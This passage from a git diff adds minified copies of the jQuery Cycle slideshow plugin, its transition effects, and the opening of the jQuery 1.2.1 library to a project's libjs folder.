txs){tx=txs[p];if(txs.hasOwnProperty(p)&&$.isFunction(tx)){opts.fxs.push(p);}}}}if(opts.multiFx&&opts.randomizeEffects){var r1=Math.floor(Math.random()*20)+30;for(i=0;i<r1;i++){var r2=Math.floor(Math.random()*opts.fxs.length);opts.fxs.push(opts.fxs.splice(r2,1)[0]);}debug("randomized fx sequence: ",opts.fxs);}return true;}function exposeAddSlide(opts,els){opts.addSlide=function(newSlide,prepend){var $s=$(newSlide),s=$s[0];if(!opts.autostopCount){opts.countdown++;}els[prepend?"unshift":"push"](s);if(opts.els){opts.els[prepend?"unshift":"push"](s);}opts.slideCount=els.length;$s.css("position","absolute");$s[prepend?"prependTo":"appendTo"](opts.$cont);if(prepend){opts.currSlide++;opts.nextSlide++;}if(!$.support.opacity&&opts.cleartype&&!opts.cleartypeNoBg){clearTypeFix($s);}if(opts.fit&&opts.width){$s.width(opts.width);}if(opts.fit&&opts.height&&opts.height!="auto"){$slides.height(opts.height);}s.cycleH=(opts.fit&&opts.height)?opts.height:$s.height();s.cycleW=(opts.fit&&opts.width)?opts.width:$s.width();$s.css(opts.cssBefore);if(opts.pager){$.fn.cycle.createPagerAnchor(els.length-1,s,$(opts.pager),els,opts);}if($.isFunction(opts.onAddSlide)){opts.onAddSlide($s);}else{$s.hide();}};}$.fn.cycle.resetState=function(opts,fx){fx=fx||opts.fx;opts.before=[];opts.after=[];opts.cssBefore=$.extend({},opts.original.cssBefore);opts.cssAfter=$.extend({},opts.original.cssAfter);opts.animIn=$.extend({},opts.original.animIn);opts.animOut=$.extend({},opts.original.animOut);opts.fxFn=null;$.each(opts.original.before,function(){opts.before.push(this);});$.each(opts.original.after,function(){opts.after.push(this);});var init=$.fn.cycle.transitions[fx];if($.isFunction(init)){init(opts.$cont,$(opts.elements),opts);}};function go(els,opts,manual,fwd){if(manual&&opts.busy&&opts.manualTrump){$(els).stop(true,true);opts.busy=false;}if(opts.busy){return;}var p=opts.$cont[0],curr=els[opts.currSlide],next=els[opts.nextSlide];if(p.cycleStop!=opts.stopCount||p.cycleTimeout===0&&!manual){return;}if(!manual&&!p.cyclePause&&((opts.autostop&&(--opts.countdown<=0))||(opts.nowrap&&!opts.random&&opts.nextSlide<opts.currSlide))){if(opts.end){opts.end(opts);}return;}if(manual||!p.cyclePause){var fx=opts.fx;curr.cycleH=curr.cycleH||$(curr).height();curr.cycleW=curr.cycleW||$(curr).width();next.cycleH=next.cycleH||$(next).height();next.cycleW=next.cycleW||$(next).width();if(opts.multiFx){if(opts.lastFx==undefined||++opts.lastFx>=opts.fxs.length){opts.lastFx=0;}fx=opts.fxs[opts.lastFx];opts.currFx=fx;}if(opts.oneTimeFx){fx=opts.oneTimeFx;opts.oneTimeFx=null;}$.fn.cycle.resetState(opts,fx);if(opts.before.length){$.each(opts.before,function(i,o){if(p.cycleStop!=opts.stopCount){return;}o.apply(next,[curr,next,opts,fwd]);});}var after=function(){$.each(opts.after,function(i,o){if(p.cycleStop!=opts.stopCount){return;}o.apply(next,[curr,next,opts,fwd]);});};if(opts.nextSlide!=opts.currSlide){opts.busy=1;if(opts.fxFn){opts.fxFn(curr,next,opts,after,fwd);}else{if($.isFunction($.fn.cycle[opts.fx])){$.fn.cycle[opts.fx](curr,next,opts,after);}else{$.fn.cycle.custom(curr,next,opts,after,manual&&opts.fastOnEvent);}}}opts.lastSlide=opts.currSlide;if(opts.random){opts.currSlide=opts.nextSlide;if(++opts.randomIndex==els.length){opts.randomIndex=0;}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{var roll=(opts.nextSlide+1)==els.length;opts.nextSlide=roll?0:opts.nextSlide+1;opts.currSlide=roll?els.length-1:opts.nextSlide-1;}if(opts.pager){$.fn.cycle.updateActivePagerLink(opts.pager,opts.currSlide);}}var ms=0;if(opts.timeout&&!opts.continuous){ms=getTimeout(curr,next,opts,fwd);}else{if(opts.continuous&&p.cyclePause){ms=10;}}if(ms>0){p.cycleTimeout=setTimeout(function(){go(els,opts,0,!opts.rev);},ms);}}$.fn.cycle.updateActivePagerLink=function(pager,currSlide){$(pager).find("a").removeClass("activeSlide").filter("a:eq("+currSlide+")").addClass("activeSlide");};function getTimeout(curr,next,opts,fwd){if(opts.timeoutFn){var t=opts.timeoutFn(curr,next,opts,fwd);while((t-opts.speed)<250){t+=opts.speed;}debug("calculated timeout: "+t+"; speed: "+opts.speed);if(t!==false){return t;}}return opts.timeout;}$.fn.cycle.next=function(opts){advance(opts,opts.rev?-1:1);};$.fn.cycle.prev=function(opts){advance(opts,opts.rev?1:-1);};function advance(opts,val){var els=opts.elements;var p=opts.$cont[0],timeout=p.cycleTimeout;if(timeout){clearTimeout(timeout);p.cycleTimeout=0;}if(opts.random&&val<0){opts.randomIndex--;if(--opts.randomIndex==-2){opts.randomIndex=els.length-2;}else{if(opts.randomIndex==-1){opts.randomIndex=els.length-1;}}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{if(opts.random){if(++opts.randomIndex==els.length){opts.randomIndex=0;}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{opts.nextSlide=opts.currSlide+val;if(opts.nextSlide<0){if(opts.nowrap){return false;}opts.nextSlide=els.length-1;}else{if(opts.nextSlide>=els.length){if(opts.nowrap){return false;}opts.nextSlide=0;}}}}if($.isFunction(opts.prevNextClick)){opts.prevNextClick(val>0,opts.nextSlide,els[opts.nextSlide]);}go(els,opts,1,val>=0);return false;}function buildPager(els,opts){var $p=$(opts.pager);$.each(els,function(i,o){$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);});$.fn.cycle.updateActivePagerLink(opts.pager,opts.startingSlide);}$.fn.cycle.createPagerAnchor=function(i,el,$p,els,opts){var a;if($.isFunction(opts.pagerAnchorBuilder)){a=opts.pagerAnchorBuilder(i,el);}else{a='<a href="#">'+(i+1)+"</a>";}if(!a){return;}var $a=$(a);if($a.parents("body").length===0){var arr=[];if($p.length>1){$p.each(function(){var $clone=$a.clone(true);$(this).append($clone);arr.push($clone);});$a=$(arr);}else{$a.appendTo($p);}}$a.bind(opts.pagerEvent,function(e){e.preventDefault();opts.nextSlide=i;var p=opts.$cont[0],timeout=p.cycleTimeout;if(timeout){clearTimeout(timeout);p.cycleTimeout=0;}if($.isFunction(opts.pagerClick)){opts.pagerClick(opts.nextSlide,els[opts.nextSlide]);}go(els,opts,1,opts.currSlide<i);return false;});if(opts.pagerEvent!="click"){$a.click(function(){return false;});}if(opts.pauseOnPagerHover){$a.hover(function(){opts.$cont[0].cyclePause++;},function(){opts.$cont[0].cyclePause--;});}};$.fn.cycle.hopsFromLast=function(opts,fwd){var hops,l=opts.lastSlide,c=opts.currSlide;if(fwd){hops=c>l?c-l:opts.slideCount-l;}else{hops=c<l?l-c:l+opts.slideCount-c;}return hops;};function clearTypeFix($slides){function hex(s){s=parseInt(s).toString(16);return s.length<2?"0"+s:s;}function getBg(e){for(;e&&e.nodeName.toLowerCase()!="html";e=e.parentNode){var v=$.css(e,"background-color");if(v.indexOf("rgb")>=0){var rgb=v.match(/\d+/g);return"#"+hex(rgb[0])+hex(rgb[1])+hex(rgb[2]);}if(v&&v!="transparent"){return v;}}return"#ffffff";}$slides.each(function(){$(this).css("background-color",getBg(this));});}$.fn.cycle.commonReset=function(curr,next,opts,w,h,rev){$(opts.elements).not(curr).hide();opts.cssBefore.opacity=1;opts.cssBefore.display="block";if(w!==false&&next.cycleW>0){opts.cssBefore.width=next.cycleW;}if(h!==false&&next.cycleH>0){opts.cssBefore.height=next.cycleH;}opts.cssAfter=opts.cssAfter||{};opts.cssAfter.display="none";$(curr).css("zIndex",opts.slideCount+(rev===true?1:0));$(next).css("zIndex",opts.slideCount+(rev===true?0:1));};$.fn.cycle.custom=function(curr,next,opts,cb,speedOverride){var $l=$(curr),$n=$(next);var speedIn=opts.speedIn,speedOut=opts.speedOut,easeIn=opts.easeIn,easeOut=opts.easeOut;$n.css(opts.cssBefore);if(speedOverride){if(typeof speedOverride=="number"){speedIn=speedOut=speedOverride;}else{speedIn=speedOut=1;}easeIn=easeOut=null;}var fn=function(){$n.animate(opts.animIn,speedIn,easeIn,cb);};$l.animate(opts.animOut,speedOut,easeOut,function(){if(opts.cssAfter){$l.css(opts.cssAfter);}if(!opts.sync){fn();}});if(opts.sync){fn();}};$.fn.cycle.transitions={fade:function($cont,$slides,opts){$slides.not(":eq("+opts.currSlide+")").css("opacity",0);opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.opacity=0;});opts.animIn={opacity:1};opts.animOut={opacity:0};opts.cssBefore={top:0,left:0};}};$.fn.cycle.ver=function(){return ver;};$.fn.cycle.defaults={fx:"fade",timeout:4000,timeoutFn:null,continuous:0,speed:1000,speedIn:null,speedOut:null,next:null,prev:null,prevNextClick:null,prevNextEvent:"click",pager:null,pagerClick:null,pagerEvent:"click",pagerAnchorBuilder:null,before:null,after:null,end:null,easing:null,easeIn:null,easeOut:null,shuffle:null,animIn:null,animOut:null,cssBefore:null,cssAfter:null,fxFn:null,height:"auto",startingSlide:0,sync:1,random:0,fit:0,containerResize:1,pause:0,pauseOnPagerHover:0,autostop:0,autostopCount:0,delay:0,slideExpr:null,cleartype:!$.support.opacity,cleartypeNoBg:false,nowrap:0,fastOnEvent:0,randomizeEffects:1,rev:0,manualTrump:true,requeueOnImageNotLoaded:true,requeueTimeout:250};})(jQuery);
+/*
+ * jQuery Cycle Plugin Transition Definitions
+ * This script is a plugin for the jQuery Cycle Plugin
+ * Examples and documentation at: http://malsup.com/jquery/cycle/
+ * Copyright (c) 2007-2008 M. Alsup
+ * Version:     2.72
+ * Dual licensed under the MIT and GPL licenses:
+ * http://www.opensource.org/licenses/mit-license.php
+ * http://www.gnu.org/licenses/gpl.html
+ */
+(function($){$.fn.cycle.transitions.none=function($cont,$slides,opts){opts.fxFn=function(curr,next,opts,after){$(next).show();$(curr).hide();after();};};$.fn.cycle.transitions.scrollUp=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var h=$cont.height();opts.cssBefore={top:h,left:0};opts.cssFirst={top:0};opts.animIn={top:0};opts.animOut={top:-h};};$.fn.cycle.transitions.scrollDown=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var h=$cont.height();opts.cssFirst={top:0};opts.cssBefore={top:-h,left:0};opts.animIn={top:0};opts.animOut={top:h};};$.fn.cycle.transitions.scrollLeft=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var w=$cont.width();opts.cssFirst={left:0};opts.cssBefore={left:w,top:0};opts.animIn={left:0};opts.animOut={left:0-w};};$.fn.cycle.transitions.scrollRight=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var w=$cont.width();opts.cssFirst={left:0};opts.cssBefore={left:-w,top:0};opts.animIn={left:0};opts.animOut={left:w};};$.fn.cycle.transitions.scrollHorz=function($cont,$slides,opts){$cont.css("overflow","hidden").width();opts.before.push(function(curr,next,opts,fwd){$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.left=fwd?(next.cycleW-1):(1-next.cycleW);opts.animOut.left=fwd?-curr.cycleW:curr.cycleW;});opts.cssFirst={left:0};opts.cssBefore={top:0};opts.animIn={left:0};opts.animOut={top:0};};$.fn.cycle.transitions.scrollVert=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push(function(curr,next,opts,fwd){$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.top=fwd?(1-next.cycleH):(next.cycleH-1);opts.animOut.top=fwd?curr.cycleH:-curr.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0};opts.animIn={top:0};opts.animOut={left:0};};$.fn.cycle.transitions.slideX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$(opts.elements).not(curr).hide();$.fn.cycle.commonReset(curr,next,opts,false,true);opts.animIn.width=next.cycleW;});opts.cssBefore={left:0,top:0,width:0};opts.animIn={width:"show"};opts.animOut={width:0};};$.fn.cycle.transitions.slideY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$(opts.elements).not(curr).hide();$.fn.cycle.commonReset(curr,next,opts,true,false);opts.animIn.height=next.cycleH;});opts.cssBefore={left:0,top:0,height:0};opts.animIn={height:"show"};opts.animOut={height:0};};$.fn.cycle.transitions.shuffle=function($cont,$slides,opts){var i,w=$cont.css("overflow","visible").width();$slides.css({left:0,top:0});opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);});if(!opts.speedAdjusted){opts.speed=opts.speed/2;opts.speedAdjusted=true;}opts.random=0;opts.shuffle=opts.shuffle||{left:-w,top:15};opts.els=[];for(i=0;i<$slides.length;i++){opts.els.push($slides[i]);}for(i=0;i<opts.currSlide;i++){opts.els.push(opts.els.shift());}opts.fxFn=function(curr,next,opts,cb,fwd){var $el=fwd?$(curr):$(next);$(next).css(opts.cssBefore);var count=opts.slideCount;$el.animate(opts.shuffle,opts.speedIn,opts.easeIn,function(){var hops=$.fn.cycle.hopsFromLast(opts,fwd);for(var k=0;k<hops;k++){fwd?opts.els.push(opts.els.shift()):opts.els.unshift(opts.els.pop());}if(fwd){for(var i=0,len=opts.els.length;i<len;i++){$(opts.els[i]).css("z-index",len-i+count);}}else{var z=$(curr).css("z-index");$el.css("z-index",parseInt(z)+1+count);}$el.animate({left:0,top:0},opts.speedOut,opts.easeOut,function(){$(fwd?this:curr).hide();if(cb){cb();}});});};opts.cssBefore={display:"block",opacity:1,top:0,left:0};};$.fn.cycle.transitions.turnUp=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.cssBefore.top=next.cycleH;opts.animIn.height=next.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0,height:0};opts.animIn={top:0};opts.animOut={height:0};};$.fn.cycle.transitions.turnDown=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0,top:0,height:0};opts.animOut={height:0};};$.fn.cycle.transitions.turnLeft=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.cssBefore.left=next.cycleW;opts.animIn.width=next.cycleW;});opts.cssBefore={top:0,width:0};opts.animIn={left:0};opts.animOut={width:0};};$.fn.cycle.transitions.turnRight=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.animIn.width=next.cycleW;opts.animOut.left=curr.cycleW;});opts.cssBefore={top:0,left:0,width:0};opts.animIn={left:0};opts.animOut={width:0};};$.fn.cycle.transitions.zoom=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,false,true);opts.cssBefore.top=next.cycleH/2;opts.cssBefore.left=next.cycleW/2;opts.animIn={top:0,left:0,width:next.cycleW,height:next.cycleH};opts.animOut={width:0,height:0,top:curr.cycleH/2,left:curr.cycleW/2};});opts.cssFirst={top:0,left:0};opts.cssBefore={width:0,height:0};};$.fn.cycle.transitions.fadeZoom=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,false);opts.cssBefore.left=next.cycleW/2;opts.cssBefore.top=next.cycleH/2;opts.animIn={top:0,left:0,width:next.cycleW,height:next.cycleH};});opts.cssBefore={width:0,height:0};opts.animOut={opacity:0};};$.fn.cycle.transitions.blindX=function($cont,$slides,opts){var w=$cont.css("overflow","hidden").width();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.width=next.cycleW;opts.animOut.left=curr.cycleW;});opts.cssBefore={left:w,top:0};opts.animIn={left:0};opts.animOut={left:w};};$.fn.cycle.transitions.blindY=function($cont,$slides,opts){var h=$cont.css("overflow","hidden").height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssBefore={top:h,left:0};opts.animIn={top:0};opts.animOut={top:h};};$.fn.cycle.transitions.blindZ=function($cont,$slides,opts){var h=$cont.css("overflow","hidden").height();var w=$cont.width();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssBefore={top:h,left:w};opts.animIn={top:0,left:0};opts.animOut={top:h,left:w};};$.fn.cycle.transitions.growX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.cssBefore.left=this.cycleW/2;opts.animIn={left:0,width:this.cycleW};opts.animOut={left:0};});opts.cssBefore={width:0,top:0};};$.fn.cycle.transitions.growY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.cssBefore.top=this.cycleH/2;opts.animIn={top:0,height:this.cycleH};opts.animOut={top:0};});opts.cssBefore={height:0,left:0};};$.fn.cycle.transitions.curtainX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true,true);opts.cssBefore.left=next.cycleW/2;opts.animIn={left:0,width:this.cycleW};opts.animOut={left:curr.cycleW/2,width:0};});opts.cssBefore={top:0,width:0};};$.fn.cycle.transitions.curtainY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false,true);opts.cssBefore.top=next.cycleH/2;opts.animIn={top:0,height:next.cycleH};opts.animOut={top:curr.cycleH/2,height:0};});opts.cssBefore={left:0,height:0};};$.fn.cycle.transitions.cover=function($cont,$slides,opts){var d=opts.direction||"left";var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);if(d=="right"){opts.cssBefore.left=-w;}else{if(d=="up"){opts.cssBefore.top=h;}else{if(d=="down"){opts.cssBefore.top=-h;}else{opts.cssBefore.left=w;}}}});opts.animIn={left:0,top:0};opts.animOut={opacity:1};opts.cssBefore={top:0,left:0};};$.fn.cycle.transitions.uncover=function($cont,$slides,opts){var d=opts.direction||"left";var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);if(d=="right"){opts.animOut.left=w;}else{if(d=="up"){opts.animOut.top=-h;}else{if(d=="down"){opts.animOut.top=h;}else{opts.animOut.left=-w;}}}});opts.animIn={left:0,top:0};opts.animOut={opacity:1};opts.cssBefore={top:0,left:0};};$.fn.cycle.transitions.toss=function($cont,$slides,opts){var w=$cont.css("overflow","visible").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);if(!opts.animOut.left&&!opts.animOut.top){opts.animOut={left:w*2,top:-h/2,opacity:0};}else{opts.animOut.opacity=0;}});opts.cssBefore={left:0,top:0};opts.animIn={left:0};};$.fn.cycle.transitions.wipe=function($cont,$slides,opts){var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.cssBefore=opts.cssBefore||{};var clip;if(opts.clip){if(/l2r/.test(opts.clip)){clip="rect(0px 0px "+h+"px 0px)";}else{if(/r2l/.test(opts.clip)){clip="rect(0px "+w+"px "+h+"px "+w+"px)";}else{if(/t2b/.test(opts.clip)){clip="rect(0px "+w+"px 0px 0px)";}else{if(/b2t/.test(opts.clip)){clip="rect("+h+"px "+w+"px "+h+"px 0px)";}else{if(/zoom/.test(opts.clip)){var top=parseInt(h/2);var left=parseInt(w/2);clip="rect("+top+"px "+left+"px "+top+"px "+left+"px)";}}}}}}opts.cssBefore.clip=opts.cssBefore.clip||clip||"rect(0px 0px 0px 0px)";var d=opts.cssBefore.clip.match(/(\d+)/g);var t=parseInt(d[0]),r=parseInt(d[1]),b=parseInt(d[2]),l=parseInt(d[3]);opts.before.push(function(curr,next,opts){if(curr==next){return;}var $curr=$(curr),$next=$(next);$.fn.cycle.commonReset(curr,next,opts,true,true,false);opts.cssAfter.display="block";var step=1,count=parseInt((opts.speedIn/13))-1;(function f(){var tt=t?t-parseInt(step*(t/count)):0;var ll=l?l-parseInt(step*(l/count)):0;var bb=b<h?b+parseInt(step*((h-b)/count||1)):h;var rr=r<w?r+parseInt(step*((w-r)/count||1)):w;$next.css({clip:"rect("+tt+"px "+rr+"px "+bb+"px "+ll+"px)"});(step++<=count)?setTimeout(f,13):$curr.css("display","none");})();});opts.cssBefore={display:"block",opacity:1,top:0,left:0};opts.animIn={left:0};opts.animOut={left:0};};})(jQuery);
\ No newline at end of file
diff --git a/libjs/jquery.js b/libjs/jquery.js
new file mode 100755 (executable)
index 0000000..d6801c6
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * jQuery 1.2.1 - New Wave Javascript
+ *
+ * Copyright (c) 2007 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2009/09/17 20:08:58 $
+ * $Rev: 3353 $
+ */
+(function(){if(typeof jQuery!="undefined")var _jQuery=jQuery;var jQuery=window.jQuery=function(selector,context){return this instanceof jQuery?this.init(selector,context):new jQuery(selector,context);};if(typeof $!="undefined")var _$=$;window.$=jQuery;var quickExpr=/^[^<]*(<(.|\s)+>)[^>]*$|^#(\w+)$/;jQuery.fn=jQuery.prototype={init:function(selector,context){selector=selector||document;if(typeof selector=="string"){var m=quickExpr.exec(selector);if(m&&(m[1]||!context)){if(m[1])selector=jQuery.clean([m[1]],context);else{var tmp=document.getElementById(m[3]);if(tmp)if(tmp.id!=m[3])return jQuery().find(selector);else{this[0]=tmp;this.length=1;return this;}else
+selector=[];}}else
+return new jQuery(context).find(selector);}else if(jQuery.isFunction(selector))return new jQuery(document)[jQuery.fn.ready?"ready":"load"](selector);return this.setArray(selector.constructor==Array&&selector||(selector.jquery||selector.length&&selector!=window&&!selector.nodeType&&selector[0]!=undefined&&selector[0].nodeType)&&jQuery.makeArray(selector)||[selector]);},jquery:"1.2.1",size:function(){return this.length;},length:0,get:function(num){return num==undefined?jQuery.makeArray(this):this[num];},pushStack:function(a){var ret=jQuery(a);ret.prevObject=this;return ret;},setArray:function(a){this.length=0;Array.prototype.push.apply(this,a);return this;},each:function(fn,args){return jQuery.each(this,fn,args);},index:function(obj){var pos=-1;this.each(function(i){if(this==obj)pos=i;});return pos;},attr:function(key,value,type){var obj=key;if(key.constructor==String)if(value==undefined)return this.length&&jQuery[type||"attr"](this[0],key)||undefined;else{obj={};obj[key]=value;}return this.each(function(index){for(var prop in obj)jQuery.attr(type?this.style:this,prop,jQuery.prop(this,obj[prop],type,index,prop));});},css:function(key,value){return this.attr(key,value,"curCSS");},text:function(e){if(typeof e!="object"&&e!=null)return this.empty().append(document.createTextNode(e));var t="";jQuery.each(e||this,function(){jQuery.each(this.childNodes,function(){if(this.nodeType!=8)t+=this.nodeType!=1?this.nodeValue:jQuery.fn.text([this]);});});return t;},wrapAll:function(html){if(this[0])jQuery(html,this[0].ownerDocument).clone().insertBefore(this[0]).map(function(){var elem=this;while(elem.firstChild)elem=elem.firstChild;return elem;}).append(this);return this;},wrapInner:function(html){return this.each(function(){jQuery(this).contents().wrapAll(html);});},wrap:function(html){return this.each(function(){jQuery(this).wrapAll(html);});},append:function(){return this.domManip(arguments,true,1,function(a){this.appendChild(a);});},prepend:function(){return this.domManip(arguments,true,-1,function(a){this.insertBefore(a,this.firstChild);});},before:function(){return this.domManip(arguments,false,1,function(a){this.parentNode.insertBefore(a,this);});},after:function(){return this.domManip(arguments,false,-1,function(a){this.parentNode.insertBefore(a,this.nextSibling);});},end:function(){return this.prevObject||jQuery([]);},find:function(t){var data=jQuery.map(this,function(a){return jQuery.find(t,a);});return this.pushStack(/[^+>] [^+>]/.test(t)||t.indexOf("..")>-1?jQuery.unique(data):data);},clone:function(events){var ret=this.map(function(){return this.outerHTML?jQuery(this.outerHTML)[0]:this.cloneNode(true);});var clone=ret.find("*").andSelf().each(function(){if(this[expando]!=undefined)this[expando]=null;});if(events===true)this.find("*").andSelf().each(function(i){var events=jQuery.data(this,"events");for(var type in events)for(var handler in events[type])jQuery.event.add(clone[i],type,events[type][handler],events[type][handler].data);});return ret;},filter:function(t){return this.pushStack(jQuery.isFunction(t)&&jQuery.grep(this,function(el,index){return t.apply(el,[index]);})||jQuery.multiFilter(t,this));},not:function(t){return this.pushStack(t.constructor==String&&jQuery.multiFilter(t,this,true)||jQuery.grep(this,function(a){return(t.constructor==Array||t.jquery)?jQuery.inArray(a,t)<0:a!=t;}));},add:function(t){return this.pushStack(jQuery.merge(this.get(),t.constructor==String?jQuery(t).get():t.length!=undefined&&(!t.nodeName||jQuery.nodeName(t,"form"))?t:[t]));},is:function(expr){return expr?jQuery.multiFilter(expr,this).length>0:false;},hasClass:function(expr){return this.is("."+expr);},val:function(val){if(val==undefined){if(this.length){var elem=this[0];if(jQuery.nodeName(elem,"select")){var index=elem.selectedIndex,a=[],options=elem.options,one=elem.type=="select-one";if(index<0)return null;for(var i=one?index:0,max=one?index+1:options.length;i<max;i++){var option=options[i];if(option.selected){var val=jQuery.browser.msie&&!option.attributes["value"].specified?option.text:option.value;if(one)return val;a.push(val);}}return a;}else
+return this[0].value.replace(/\r/g,"");}}else
+return this.each(function(){if(val.constructor==Array&&/radio|checkbox/.test(this.type))this.checked=(jQuery.inArray(this.value,val)>=0||jQuery.inArray(this.name,val)>=0);else if(jQuery.nodeName(this,"select")){var tmp=val.constructor==Array?val:[val];jQuery("option",this).each(function(){this.selected=(jQuery.inArray(this.value,tmp)>=0||jQuery.inArray(this.text,tmp)>=0);});if(!tmp.length)this.selectedIndex=-1;}else
+this.value=val;});},html:function(val){return val==undefined?(this.length?this[0].innerHTML:null):this.empty().append(val);},replaceWith:function(val){return this.after(val).remove();},eq:function(i){return this.slice(i,i+1);},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments));},map:function(fn){return this.pushStack(jQuery.map(this,function(elem,i){return fn.call(elem,i,elem);}));},andSelf:function(){return this.add(this.prevObject);},domManip:function(args,table,dir,fn){var clone=this.length>1,a;return this.each(function(){if(!a){a=jQuery.clean(args,this.ownerDocument);if(dir<0)a.reverse();}var obj=this;if(table&&jQuery.nodeName(this,"table")&&jQuery.nodeName(a[0],"tr"))obj=this.getElementsByTagName("tbody")[0]||this.appendChild(document.createElement("tbody"));jQuery.each(a,function(){var elem=clone?this.cloneNode(true):this;if(!evalScript(0,elem))fn.call(obj,elem);});});}};function evalScript(i,elem){var script=jQuery.nodeName(elem,"script");if(script){if(elem.src)jQuery.ajax({url:elem.src,async:false,dataType:"script"});else
+jQuery.globalEval(elem.text||elem.textContent||elem.innerHTML||"");if(elem.parentNode)elem.parentNode.removeChild(elem);}else if(elem.nodeType==1)jQuery("script",elem).each(evalScript);return script;}jQuery.extend=jQuery.fn.extend=function(){var target=arguments[0]||{},a=1,al=arguments.length,deep=false;if(target.constructor==Boolean){deep=target;target=arguments[1]||{};}if(al==1){target=this;a=0;}var prop;for(;a<al;a++)if((prop=arguments[a])!=null)for(var i in prop){if(target==prop[i])continue;if(deep&&typeof prop[i]=='object'&&target[i])jQuery.extend(target[i],prop[i]);else if(prop[i]!=undefined)target[i]=prop[i];}return target;};var expando="jQuery"+(new Date()).getTime(),uuid=0,win={};jQuery.extend({noConflict:function(deep){window.$=_$;if(deep)window.jQuery=_jQuery;return jQuery;},isFunction:function(fn){return!!fn&&typeof fn!="string"&&!fn.nodeName&&fn.constructor!=Array&&/function/i.test(fn+"");},isXMLDoc:function(elem){return elem.documentElement&&!elem.body||elem.tagName&&elem.ownerDocument&&!elem.ownerDocument.body;},globalEval:function(data){data=jQuery.trim(data);if(data){if(window.execScript)window.execScript(data);else if(jQuery.browser.safari)window.setTimeout(data,0);else
+eval.call(window,data);}},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toUpperCase()==name.toUpperCase();},cache:{},data:function(elem,name,data){elem=elem==window?win:elem;var id=elem[expando];if(!id)id=elem[expando]=++uuid;if(name&&!jQuery.cache[id])jQuery.cache[id]={};if(data!=undefined)jQuery.cache[id][name]=data;return name?jQuery.cache[id][name]:id;},removeData:function(elem,name){elem=elem==window?win:elem;var id=elem[expando];if(name){if(jQuery.cache[id]){delete jQuery.cache[id][name];name="";for(name in jQuery.cache[id])break;if(!name)jQuery.removeData(elem);}}else{try{delete elem[expando];}catch(e){if(elem.removeAttribute)elem.removeAttribute(expando);}delete jQuery.cache[id];}},each:function(obj,fn,args){if(args){if(obj.length==undefined)for(var i in obj)fn.apply(obj[i],args);else
+for(var i=0,ol=obj.length;i<ol;i++)if(fn.apply(obj[i],args)===false)break;}else{if(obj.length==undefined)for(var i in obj)fn.call(obj[i],i,obj[i]);else
